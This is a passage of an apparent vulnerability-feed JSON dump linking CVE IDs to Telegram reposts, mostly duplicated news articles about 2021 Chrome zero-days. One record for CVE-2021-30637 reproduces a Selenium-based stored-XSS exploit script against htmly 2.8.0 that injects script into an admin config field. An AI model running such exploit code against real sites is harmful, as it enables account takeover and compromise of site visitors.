CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:49.009762Z"}, {"uuid": "726a61fc-0099-49fb-9538-86c795db94da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30630", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-01T20:02:23.866546Z"}, {"uuid": "7e922710-309a-47df-a605-568813afcc8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-01T20:02:23.923342Z"}, {"uuid": "67a4c09b-e302-4185-8413-af7042a43d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30631", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-01T20:02:23.589337Z"}, {"uuid": "864a6bab-4a24-4592-b5b0-953b12006905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30632", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:19.348411Z"}, {"uuid": "17d1f358-ccfa-45b0-bf7d-d95aa352e23b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate implementation in Blink. Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30\n* CVE-2021-30631: Type Confusion in Blink layout. Reported by Atte Kettunen of OUSPG on 2021-09-06\n\nKevin Dunne, president at Pathl[...]", "creation_timestamp": "2026-09-01T20:02:23.975305Z"}, {"uuid": "a7422efe-ddf8-4862-a8dd-756653273568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30637", "type": "seen", "source": "https://t.me/hacking_Attack/5064", "content": "Exploit Collector\nhtmly 2.8.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png \nhtmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 1f7856dd557f345879af5eb7735315e1\n\nDownload\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Authors: @nu11secur1ty & G.Dzhankushev\n# Date: 04.15.2021\n# Vendor: htmly\n# Link: https://github.com/danpros/htmly\n# CVE: CVE-2021-30637\n\n[+] Exploit Source:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# Authors: @nu11secur1ty, G,Dzhankushev\n# CVE-2021-30637\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://localhost/htmly/login\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"user\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit .ini\nbrowser.get((\"http://localhost/htmly/admin/config\"))\nbrowser.execute_script(\"document.querySelector('[name=\\\"-config-blog.description\\\"]').innerText\n= '1 '\")\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('.btn.btn-primary').click()\")\n\nprint(\"If everything is ok, please paste this code in to the Users in\nsection First Name\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: htmly 2.8.0 allows stored XSS\n# Date: 04.15.2021\n# Exploit Authotr @nu11secur1ty\n# Exploit Debugging: G.Dzhankushev\n# Vendor Homepage: htmly\n# Software Link: https://github.com/danpros/htmly\n# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:46.622100Z"}, {"uuid": "cc22d20e-9586-4e11-8db7-b8258b4ff70c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30633", "type": "seen", "source": "https://t.me/hacking_Attack/48246", "content": "o execute arbitrary code inside a sandbox via a crafted HTML page.\n* CVE-2021-30551\u00a0\u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n* CVE-2021-30563\u00a0\u2013 July 15, another type-confusion bug in V8.\n* CVE-2021-30633\u00a0\u2013 Sept. 13, an out-of-bounds write in V8\n* CVE-2021-37975\u00a0\u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n* CVE-2021-38003\u00a0\u2013 Oct. 28, an inappropriate implementation in V8\n* CVE-2021-4102\u00a0\u2013 Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet\nSource: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago\nThe post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:02.369307Z"}, {"uuid": "4e79cf5f-7bd9-4028-9ca9-28819df1fb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-30630", "type": "seen", "source": "https://t.me/hacking_Attack/23971", "content": "Black Hat Ethical Hacking\nPair of Google Chrome Zero-Day Bugs Actively Exploited\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Pair of Google Chrome Zero-Day Bugs Actively ExploitedPost Views: 187 \nReading Time: 1 Minute\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\nThe security vulnerabilities bring the web behemoth up to 10 browser zero-days found so far this year.\nGoogle has addressed two zero-day security bugs that are being actively exploited in the wild.\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, issued Monday.\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n* CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n* CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws can result in\u00a0corruption of data, a crash or code execution. Use-after-free issues can result in\u00a0any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\nSee Also: Complete Offensive Security and Ethical Hacking Course V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\nSee Also: Windows MSHTML zero-day defenses bypassed as new info emerges The other nine bugs addressed by Google are as follows:\n\n* CVE-2021-30625: Use after free in Selection API. Reported by Marcin Towalski of Cisco Talos on 2021-08-06\n* CVE-2021-30626: Out of bounds memory access in ANGLE. Reported by Jeonghoon Shin of Theori on 2021-08-18\n* CVE-2021-30627: Type Confusion in Blink layout. Reported by Aki Helin of OUSPG on 2021-09-01\n* CVE-2021-30628: Stack buffer overflow in ANGLE. Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18\n* CVE-2021-30629: Use after free in Permissions. Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26\n* CVE-2021-30630: Inappropriate 